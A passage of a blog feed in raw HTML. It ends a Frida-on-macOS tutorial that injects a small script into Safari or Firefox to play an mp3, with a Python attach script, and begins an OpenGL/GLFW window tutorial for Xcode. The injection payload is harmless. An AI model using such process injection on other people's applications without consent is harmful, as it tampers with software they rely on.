&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-console" data-lang="console">drwxr-xr-x 43 root wheel restricted 1376 Feb 9 10:39 Applications
drwxr-xr-x 4 root wheel restricted 128 Feb 9 10:39 Cryptexes
drwxr-xr-x@ 2 root wheel restricted 64 Feb 9 10:39 Developer
drwxr-xr-x 5 root wheel restricted 160 Feb 9 10:39 DriverKit
drwxr-xr-x 146 root wheel restricted 4672 Feb 9 10:39 Library
drwxr-xr-x 14 root wheel restricted 448 Feb 9 10:39 Volumes
drwxr-xr-x 5 root wheel restricted 160 Feb 9 10:39 iOSSupport
&lt;/code>&lt;/pre>&lt;/div>&lt;p>So even using &lt;strong>Frida&lt;/strong> as sudo doesn&amp;rsquo;t allow you to access the &lt;strong>Users&lt;/strong> folder. One solution to this issue is to move the &lt;strong>.mp3&lt;/strong> in another folder such as &lt;strong>tmp&lt;/strong> which doesn&amp;rsquo;t have any restrictions nor it does require sudo to access its content. To copy the file to &lt;strong>tmp&lt;/strong> use this command as an example:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">$ cp /Users/changeusername/.Trash/trash.mp3 /tmp/trash.mp3
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Let&amp;rsquo;s use Safari as an example (remember to use the correct PID when invoking Frida instead of the process name), this line of code will simply use a Objective-C function to play an &lt;strong>.mp3&lt;/strong> file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="color:#a6e22e">ObjC&lt;/span>.&lt;span style="color:#a6e22e">classes&lt;/span>.&lt;span style="color:#a6e22e">NSSound&lt;/span>.&lt;span style="color:#a6e22e">alloc&lt;/span>().&lt;span style="color:#a6e22e">initWithContentsOfFile_byReference_&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;/tmp/trash.mp3&amp;#34;&lt;/span>, &lt;span style="color:#66d9ef">true&lt;/span>).&lt;span style="color:#a6e22e">play&lt;/span>();
&lt;/code>&lt;/pre>&lt;/div>&lt;p>If everything worked as expected, you should hear the audio playing which is using the process attached by Frida.&lt;/p>
&lt;p>But how do I inject the whole script ? Create a javascript file like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="color:#66d9ef">const&lt;/span> { &lt;span style="color:#a6e22e">NSSound&lt;/span> } &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">ObjC&lt;/span>.&lt;span style="color:#a6e22e">classes&lt;/span>; &lt;span style="color:#75715e">/* macOS */&lt;/span>
&lt;span style="color:#a6e22e">ObjC&lt;/span>.&lt;span style="color:#a6e22e">schedule&lt;/span>(&lt;span style="color:#a6e22e">ObjC&lt;/span>.&lt;span style="color:#a6e22e">mainQueue&lt;/span>, () =&amp;gt; {
&lt;span style="color:#66d9ef">const&lt;/span> &lt;span style="color:#a6e22e">sound&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">NSSound&lt;/span>.&lt;span style="color:#a6e22e">alloc&lt;/span>().&lt;span style="color:#a6e22e">initWithContentsOfFile_byReference_&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;/tmp/trash.mp3&amp;#34;&lt;/span>, &lt;span style="color:#66d9ef">true&lt;/span>);
&lt;span style="color:#a6e22e">sound&lt;/span>.&lt;span style="color:#a6e22e">play&lt;/span>();
});
&lt;/code>&lt;/pre>&lt;/div>&lt;p>then use this command to inject the script into the process of your choice (you can also use the &lt;strong>PID&lt;/strong> instead of the process name):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="color:#a6e22e">frida&lt;/span> &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">l&lt;/span> &lt;span style="color:#a6e22e">myscript&lt;/span>.&lt;span style="color:#a6e22e">js&lt;/span> &lt;span style="color:#a6e22e">firefox&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="use-python-to-remove-repetitive-tasks">
Use Python to remove repetitive tasks
&lt;a class="heading-link" href="#use-python-to-remove-repetitive-tasks">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Many things we&amp;rsquo;ve done till now can be repeated a lot of times, but what if we just create a script to do everything for us ? That&amp;rsquo;s where Python comes in handy!&lt;/p>
&lt;p>Let&amp;rsquo;s create a folder with two files, one containing our Python script, we can name it as &lt;code>main.py&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">&lt;span style="color:#f92672">import&lt;/span> os
&lt;span style="color:#f92672">import&lt;/span> sys
&lt;span style="color:#f92672">import&lt;/span> frida
_SCRIPT_FILENAME &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;myscript.js&amp;#39;&lt;/span>
&lt;span style="color:#66d9ef">def&lt;/span> &lt;span style="color:#a6e22e">on_message&lt;/span>(message, date):
&lt;span style="color:#e6db74">&amp;#34;&amp;#34;&amp;#34;Print received messages.&amp;#34;&amp;#34;&amp;#34;&lt;/span>
print(message)
&lt;span style="color:#66d9ef">def&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>(process_name):
&lt;span style="color:#66d9ef">with&lt;/span> open(_SCRIPT_FILENAME, &lt;span style="color:#e6db74">&amp;#39;r&amp;#39;&lt;/span>) &lt;span style="color:#66d9ef">as&lt;/span> script_file:
code &lt;span style="color:#f92672">=&lt;/span> script_file&lt;span style="color:#f92672">.&lt;/span>read()
session &lt;span style="color:#f92672">=&lt;/span> frida&lt;span style="color:#f92672">.&lt;/span>attach(process_name)
script &lt;span style="color:#f92672">=&lt;/span> session&lt;span style="color:#f92672">.&lt;/span>create_script(code)
script&lt;span style="color:#f92672">.&lt;/span>on(&lt;span style="color:#e6db74">&amp;#39;message&amp;#39;&lt;/span>, on_message)
script&lt;span style="color:#f92672">.&lt;/span>load()
print(&lt;span style="color:#e6db74">&amp;#34;[!] Ctrl+D or Ctrl+Z to detach from instrumented program.&lt;/span>&lt;span style="color:#ae81ff">\n\n&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>)
sys&lt;span style="color:#f92672">.&lt;/span>stdin&lt;span style="color:#f92672">.&lt;/span>read()
session&lt;span style="color:#f92672">.&lt;/span>detach()
&lt;span style="color:#66d9ef">if&lt;/span> __name__ &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;__main__&amp;#39;&lt;/span>:
main(sys&lt;span style="color:#f92672">.&lt;/span>argv[&lt;span style="color:#ae81ff">1&lt;/span>])
&lt;/code>&lt;/pre>&lt;/div>&lt;p>and the other containing the Javascript code to inject, we can name it &lt;code>myscript.js&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="color:#66d9ef">const&lt;/span> { &lt;span style="color:#a6e22e">NSSound&lt;/span> } &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">ObjC&lt;/span>.&lt;span style="color:#a6e22e">classes&lt;/span>;
&lt;span style="color:#a6e22e">ObjC&lt;/span>.&lt;span style="color:#a6e22e">schedule&lt;/span>(&lt;span style="color:#a6e22e">ObjC&lt;/span>.&lt;span style="color:#a6e22e">mainQueue&lt;/span>, () =&amp;gt; {
&lt;span style="color:#66d9ef">const&lt;/span> &lt;span style="color:#a6e22e">sound&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">NSSound&lt;/span>.&lt;span style="color:#a6e22e">alloc&lt;/span>().&lt;span style="color:#a6e22e">initWithContentsOfFile_byReference_&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;/tmp/trash.mp3&amp;#34;&lt;/span>, &lt;span style="color:#66d9ef">true&lt;/span>);
&lt;span style="color:#a6e22e">sound&lt;/span>.&lt;span style="color:#a6e22e">play&lt;/span>();
});
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Let&amp;rsquo;s take a quick look to the Python code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">&lt;span style="color:#66d9ef">def&lt;/span> &lt;span style="color:#a6e22e">on_message&lt;/span>(message, data):
&lt;span style="color:#e6db74">&amp;#34;&amp;#34;&amp;#34;Print received messages.&amp;#34;&amp;#34;&amp;#34;&lt;/span>
print(message)
&lt;/code>&lt;/pre>&lt;/div>&lt;p>it is based on the example shown on &lt;a href="https://learnfrida.info/basic_usage/#writing-the-control-script">Frida Basics&lt;/a> although some functions were not working on macOS, so I changed it a bit to make it work. It is pretty straight forward, but just to give you a quick overview, we have the &lt;code>on_message&lt;/code> callback which will receive the messages from the script, we will just print them and avoid handling them. We then create a session and attach Frida to the process we want to debug using:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">session &lt;span style="color:#f92672">=&lt;/span> frida&lt;span style="color:#f92672">.&lt;/span>attach(process_name)
&lt;/code>&lt;/pre>&lt;/div>&lt;p>After we created the session as mentioned on &lt;a href="https://learnfrida.info/basic_usage/">Frida Basics&lt;/a>, we can:&lt;/p>
&lt;blockquote>
&lt;p>assign how each callback will be handled (for now, just the message one) with &lt;code>.on(event, callback)&lt;/code> - When we are finished assigning callbacks we can load the instrumentation script. When we have finished with everything, we can call &lt;code>device.resume(pid)&lt;/code> to resume the process and instrumentation will begin. When we are doing, we can call session.detach to detach from the instrumented process and revert any instrumentation (hooks will be reverted).&lt;/p>
&lt;/blockquote>
&lt;p>In the terminal, simply type &lt;code>python3 main.py Firefox&lt;/code> to run the script. You should be able to hear the &lt;code>.mp3&lt;/code> playing in the background, remember to move it in &lt;code>/tmp&lt;/code> if you&amp;rsquo;ve not already done so. To stop the audio playing, you need to quit the process 😀&lt;/p>
&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>There are not many available resources to use &lt;strong>Frida&lt;/strong> on &lt;strong>macOS&lt;/strong> but the process is pretty similar to &lt;strong>iOS&lt;/strong>, although the SIP doesn&amp;rsquo;t really help to do a lot of things and disabling it doesn&amp;rsquo;t seem to be the best solution. So avoid disabling the &lt;strong>SIP&lt;/strong> unless there&amp;rsquo;s no workaround for the application you&amp;rsquo;re debugging.&lt;/p></description></item><item><title>Create a window with OpenGL on macOS</title><link>https://malwarewerewolf.com/posts/create-a-window-with-opengl-on-macos/</link><pubDate>Sat, 11 Mar 2023 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/create-a-window-with-opengl-on-macos/</guid><description>&lt;p>In the most recent versions of macOS, &lt;strong>OpenGL&lt;/strong> has been replaced by &lt;strong>Metal&lt;/strong> but it can still be used and some old engines still rely on &lt;strong>OpenGL&lt;/strong>. But how to use &lt;strong>OpenGL&lt;/strong> on Apple Silicon ? There are many libraries out there, the one we&amp;rsquo;re going to use is called &lt;a href="https://www.glfw.org">GLFW&lt;/a> with native support for the &lt;strong>ARM&lt;/strong> architecture.&lt;/p>
&lt;p>&lt;a href="https://learnopengl.com/Getting-started/Creating-a-window">LearnOpenGL&lt;/a> already lists all the necessary steps to create a window, but the process on macOS is a bit different and not much is explained in greater details especially for &lt;strong>XCode&lt;/strong>. If you don&amp;rsquo;t want to compile the library source code and use directly the &lt;a href="https://www.glfw.org/download.html">pre-compiled binaries&lt;/a> for macOS, but I highly encourage you to compile the library by yourself, as already stated on &lt;a href="https://learnopengl.com/Getting-started/Creating-a-window">LearnOpenGL&lt;/a> you might want to do this because:&lt;/p>
&lt;blockquote>
&lt;p>Compiling the library from the source code guarantees that the resulting library is perfectly tailored for your CPU/OS, a luxury pre-compiled binaries don&amp;rsquo;t always provide (sometimes, pre-compiled binaries are not available for your system).&lt;/p>
&lt;/blockquote>
&lt;p>We&amp;rsquo;re also going to see another method which involves compiling the code through &lt;a href="https://clang.llvm.org">Clang&lt;/a> and install &lt;a href="https://www.glfw.org">GLFW&lt;/a> with &lt;a href="https://brew.sh">HomeBrew&lt;/a>.&lt;/p>
&lt;h2 id="generate-a-xcode-project-to-compile-glfw-using-cmake">
Generate a XCode project to compile GLFW using CMake
&lt;a class="heading-link" href="#generate-a-xcode-project-to-compile-glfw-using-cmake">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>First step is to download the source package for &lt;a href="https://www.glfw.org/download.html">GLFW&lt;/a>, next download and install &lt;a href="http://www.cmake.org/cmake/resources/software.html">CMake&lt;/a>, which simply is a tool to generate all the files you need for a project by choosing the &lt;strong>IDE&lt;/strong> you want to use, in our current scenario we want to create a project for &lt;strong>XCode&lt;/strong>.&lt;/p>
&lt;p>After opening &lt;strong>CMake&lt;/strong>, select the path of your &lt;strong>GLFW&lt;/strong> directory which needs to be the root folder and create a &lt;strong>build&lt;/strong> folder, click on &lt;strong>Configure&lt;/strong> and select &lt;strong>XCode&lt;/strong>. If you don&amp;rsquo;t create a &lt;strong>build&lt;/strong> folder, CMake will ask you to create it).&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/createAWindowWithOpenGLOnMacOS/createBuildDir.png" alt="&amp;ldquo;CMake create build dir&amp;rdquo;">&lt;/p>
&lt;p>Select XCode and use the default options to configure the project:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/createAWindowWithOpenGLOnMacOS/configureMenuCMake.png" alt="&amp;ldquo;configure Menu CMake&amp;rdquo;">&lt;/p>
&lt;p>It is not really required, but CMake might complain because of a missing tool named &lt;a href="https://www.doxygen.nl">doxygen&lt;/a> missing, if that&amp;rsquo;s the case simply install it with &lt;a href="https://brew.sh">HomeBrew&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">brew install doxygen
&lt;/code>&lt;/pre>&lt;/div>&lt;p>You should get the following window:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/createAWindowWithOpenGLOnMacOS/cmakeConfigurationDone.png" alt="&amp;ldquo;cmake Configuration Done&amp;rdquo;">&lt;/p>
&lt;p>Before pressing &lt;strong>Generate&lt;/strong> we&amp;rsquo;re interested in the first option &lt;strong>&amp;ldquo;BUILD_SHARED_LIBS&amp;rdquo;&lt;/strong>, if selected, it will will generate a &lt;strong>dylib&lt;/strong> which stands for dinamic library in macOS. If it is not selected it will generate a static library with an extension &lt;strong>.a&lt;/strong> so for now let&amp;rsquo;s select the option to get a dylib after the compilation is done!&lt;/p>
&lt;p>After pressing &lt;strong>Generate&lt;/strong> you should find a new build folder in the path you chose and a &lt;strong>GLFW.xcodeproj&lt;/strong> containing our XCode project. So for instance you should have:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">/Users/your username/Dev/GLFW/build
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="compile-glfw-with-xcode">
Compile GLFW with XCode
&lt;a class="heading-link" href="#compile-glfw-with-xcode">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Open the generated XCode project and select the scheme &lt;strong>install&lt;/strong> (which should already be selected by default):&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/createAWindowWithOpenGLOnMacOS/XCodeScheme.png" alt="&amp;ldquo;XCode Scheme&amp;rdquo;">&lt;/p>
&lt;p>and press &lt;code>SHIFT + CMD + B&lt;/code> to compile the whole project. We can find the dylib in the following path in the Debug directory built by XCode (we&amp;rsquo;ll repeat the same step later for the static library):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">/Users/your username/Dev/GLFW/build/src/Debug
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="create-a-new-xcode-project-to-display-a-window-using-a-dylib">
Create a new XCode project to display a window using a dylib
&lt;a class="heading-link" href="#create-a-new-xcode-project-to-display-a-window-using-a-dylib">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>In the output directory, we&amp;rsquo;re only interested about the &lt;strong>dylib&lt;/strong> file (we don&amp;rsquo;t care about the aliases) and since dealing with many third party libraries and headers can be a bit messy, we create a folder to share all these files in one single place as also specified on &lt;a href="https://learnopengl.com/Getting-started/Creating-a-window">LearnOpenGL&lt;/a>. Something like this (don&amp;rsquo;t worry we&amp;rsquo;ll get the other files we need later):&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/createAWindowWithOpenGLOnMacOS/OpenGLFolder.png" alt="&amp;ldquo;OpenGL folder&amp;rdquo;">&lt;/p>
&lt;p>Create a new XCode project selecting &lt;strong>Command Line Tool&lt;/strong> as a template and select &lt;strong>C++&lt;/strong> as language:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/createAWindowWithOpenGLOnMacOS/CommandLineToolTemplate.png" alt="&amp;ldquo;Command Line Tool Template&amp;rdquo;">&lt;/p>
&lt;p>We&amp;rsquo;re going to use the following code for our &lt;strong>main.cpp&lt;/strong> file, I will not explain what the code does since there&amp;rsquo;s already a great explanation on &lt;a href="https://learnopengl.com/Getting-started/Hello-Window">LearnOpenGL&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-cpp" data-lang="cpp">&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;glad/glad.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;GLFW/glfw3.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;span style="color:#75715e">&lt;/span>
&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;iostream&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;span style="color:#75715e">&lt;/span>
&lt;span style="color:#66d9ef">void&lt;/span> &lt;span style="color:#a6e22e">framebuffer_size_callback&lt;/span>(GLFWwindow&lt;span style="color:#f92672">*&lt;/span> window, &lt;span style="color:#66d9ef">int&lt;/span> width, &lt;span style="color:#66d9ef">int&lt;/span> height);
&lt;span style="color:#66d9ef">void&lt;/span> &lt;span style="color:#a6e22e">processInput&lt;/span>(GLFWwindow &lt;span style="color:#f92672">*&lt;/span>window);
&lt;span style="color:#75715e">// settings
&lt;/span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">const&lt;/span> &lt;span style="color:#66d9ef">unsigned&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span> SCR_WIDTH &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">800&lt;/span>;
&lt;span style="color:#66d9ef">const&lt;/span> &lt;span style="color:#66d9ef">unsigned&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span> SCR_HEIGHT &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">600&lt;/span>;
&lt;span style="color:#66d9ef">int&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>()
{
&lt;span style="color:#75715e">// glfw: initialize and configure
&lt;/span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">// ------------------------------
&lt;/span>&lt;span style="color:#75715e">&lt;/span> glfwInit();
glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, &lt;span style="color:#ae81ff">3&lt;/span>);
glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, &lt;span style="color:#ae81ff">3&lt;/span>);
glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);
&lt;span style="color:#75715e">#ifdef __APPLE__
&lt;/span>&lt;span style="color:#75715e">&lt;/span> glfwWindowHint(GLFW_OPENGL_FORWARD_COMPAT, GL_TRUE);
&lt;span style="color:#75715e">#endif
&lt;/span>&lt;span style="color:#75715e">&lt;/span>
&lt;span style="color:#75715e">// glfw window creation
&lt;/span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">// --------------------
&lt;/span>&lt;span style="color:#75715e">&lt;/span> GLFWwindow&lt;span style="color:#f92672">*&lt;/span> window &lt;span style="color:#f92672">=&lt;/span> glfwCreateWindow(SCR_WIDTH, SCR_HEIGHT, &lt;span style="color:#e6db74">&amp;#34;LearnOpenGL&amp;#34;&lt;/span>, NULL, NULL);
&lt;span style="color:#66d9ef">if&lt;/span> (window &lt;span style="color:#f92672">==&lt;/span> NULL)
{
std&lt;span style="color:#f92672">::&lt;/span>cout &lt;span style="color:#f92672">&amp;lt;&amp;lt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;Failed to create GLFW window&amp;#34;&lt;/span> &lt;span style="color:#f92672">&amp;lt;&amp;lt;&lt;/span> std&lt;span style="color:#f92672">::&lt;/span>endl;
glfwTerminate();
&lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>;
}
glfwMakeContextCurrent(window);
glfwSetFramebufferSizeCallback(window, framebuffer_size_callback);
&lt;span style="color:#75715e">// glad: load all OpenGL function pointers
&lt;/span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">// ---------------------------------------
&lt;/span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#66d9ef">if&lt;/span> (&lt;span style="color:#f92672">!&lt;/span>gladLoadGLLoader((GLADloadproc)glfwGetProcAddress))
{
std&lt;span style="color:#f92672">::&lt;/span>cout &lt;span style="color:#f92672">&amp;lt;&amp;lt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;Failed to initialize GLAD&amp;#34;&lt;/span> &lt;span style="color:#f92672">&amp;lt;&amp;lt;&lt;/span> std&lt;span style="color:#f92672">::&lt;/span>endl;
&lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>;
}
&lt;span style="color:#75715e">// render loop
&lt;/span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">// -----------
&lt;/span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#66d9ef">while&lt;/span> (&lt;span style="color:#f92672">!&lt;/span>glfwWindowShouldClose(window))
{
&lt;span style="color:#75715e">// input
&lt;/span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">// -----
&lt;/span>&lt;span style="color:#75715e">&lt;/span> processInput(window);
&lt;span style="color:#75715e">// render
&lt;/span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">// ------
&lt;/span>&lt;span style="color:#75715e">&lt;/span> glClearColor(&lt;span style="color:#ae81ff">0.2f&lt;/span>, &lt;span style="color:#ae81ff">0.3f&lt;/span>, &lt;span style="color:#ae81ff">0.3f&lt;/span>, &lt;span style="color:#ae81ff">1.0f&lt;/span>);
glClear(GL_COLOR_BUFFER_BIT);
&lt;span style="color:#75715e">// glfw: swap buffers and poll IO events (keys pressed/released, mouse moved etc.)
&lt;/span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">// -------------------------------------------------------------------------------
&lt;/span>&lt;span style="color:#75715e">&lt;/span> glfwSwapBuffers(window);
glfwPollEvents();
}
&lt;span style="color:#75715e">// glfw: terminate, clearing all previously allocated GLFW resources.
&lt;/span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">// ------------------------------------------------------------------
&lt;/span>&lt;span style="color:#75715e">&lt;/span> glfwTerminate();
&lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>;
}
&lt;span style="color:#75715e">// process all input: query GLFW whether relevant keys are pressed/released this frame and react accordingly
&lt;/span>&lt;span style="color:#75715e">// ---------------------------------------------------------------------------------------------------------
&lt;/span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">void&lt;/span> &lt;span style="color:#a6e22e">processInput&lt;/span>(GLFWwindow &lt;span style="color:#f92672">*&lt;/span>window)
{
&lt;span style="color:#66d9ef">if&lt;/span>(glfwGetKey(window, GLFW_KEY_ESCAPE) &lt;span style="color:#f92672">==&lt;/span> GLFW_PRESS)
glfwSetWindowShouldClose(window, true);
}
&lt;span style="color:#75715e">// glfw: whenever the window size changed (by OS or user resize) this callback function executes
&lt;/span>&lt;span style="color:#75715e">// ---------------------------------------------------------------------------------------------
&lt;/span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">void&lt;/span> &lt;span style="color:#a6e22e">framebuffer_size_callback&lt;/span>(GLFWwindow&lt;span style="color:#f92672">*&lt;/span> window, &lt;span style="color:#66d9ef">int&lt;/span> width, &lt;span style="color:#66d9ef">int&lt;/span> height)
{
&lt;span style="color:#75715e">// make sure the viewport matches the new window dimensions; note that width and
&lt;/span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">// height will be significantly larger than specified on retina displays.
&lt;/span>&lt;span style="color:#75715e">&lt;/span> glViewport(&lt;span style="color:#ae81ff">0&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>, width, height);
}
&lt;/code>&lt;/pre>&lt;/div>&lt;p>We need a couple of things to make our code fully functional, following the &lt;a href="https://learnopengl.com/Getting-started/Creating-a-window">LearnOpenGL&lt;/a> tutorial, we need to set &lt;a href="https://github.com/Dav1dde/glad">GLAD&lt;/a> a &lt;strong>Vulkan/GL/GLES/EGL/GLX/WGL Loader-Generator&lt;/strong> based on the official specifications for multiple languages. As quoted on &lt;a href="https://learnopengl.com/Getting-started/Creating-a-window">LearnOpenGL&lt;/a> we need this generator because:&lt;/p>
&lt;blockquote>
&lt;p>OpenGL is only really a standard/specification it is up to the driver manufacturer to implement the specification to a driver that the specific graphics card supports. Since there are many different versions of OpenGL drivers, the location of most of its functions is not known at compile-time and needs to be queried at run-time. It is then the task of the developer to retrieve the location of the functions he/she needs and store them in function pointers for later use. Retrieving those locations is OS-specific.&lt;/p>
&lt;/blockquote>
&lt;p>The code we need for the header &lt;strong>glad.h&lt;/strong> can be generated through a &lt;a href="https://glad.dav1d.de">web service&lt;/a> which will also generate the &lt;strong>cpp&lt;/strong> file we need to use in our XCode project. You can use a version of OpenGL from &lt;strong>3.3&lt;/strong> up to the most recent with the following settings:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/createAWindowWithOpenGLOnMacOS/GladConfiguration.png" alt="&amp;ldquo;Glad Configuration&amp;rdquo;">&lt;/p>
&lt;p>Click on &lt;strong>Generate&lt;/strong> to download a zip file containing two include folders, and a single &lt;strong>glad.c&lt;/strong> file. Put the files inside the two include folders in your &lt;strong>OpenGL directory&lt;/strong>, the one to share the libraries and the headers across other projects. I have the files in a path like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">/Users/your username/Dev/OpenGL
&lt;/code>&lt;/pre>&lt;/div>&lt;p>We also need &lt;strong>glfw3.h&lt;/strong> to be copied inside the include folder of your &lt;strong>OpenGL directory&lt;/strong> or the code will not compile, we can find this header inside the &lt;strong>include folder&lt;/strong> of the &lt;strong>source package&lt;/strong> we downloaded before:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">/Users/your username/Dev/GLFW/include/GLFW/glfw3.h
&lt;/code>&lt;/pre>&lt;/div>&lt;p>And put it in:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">/Users/your username/Dev/OpenGL/include
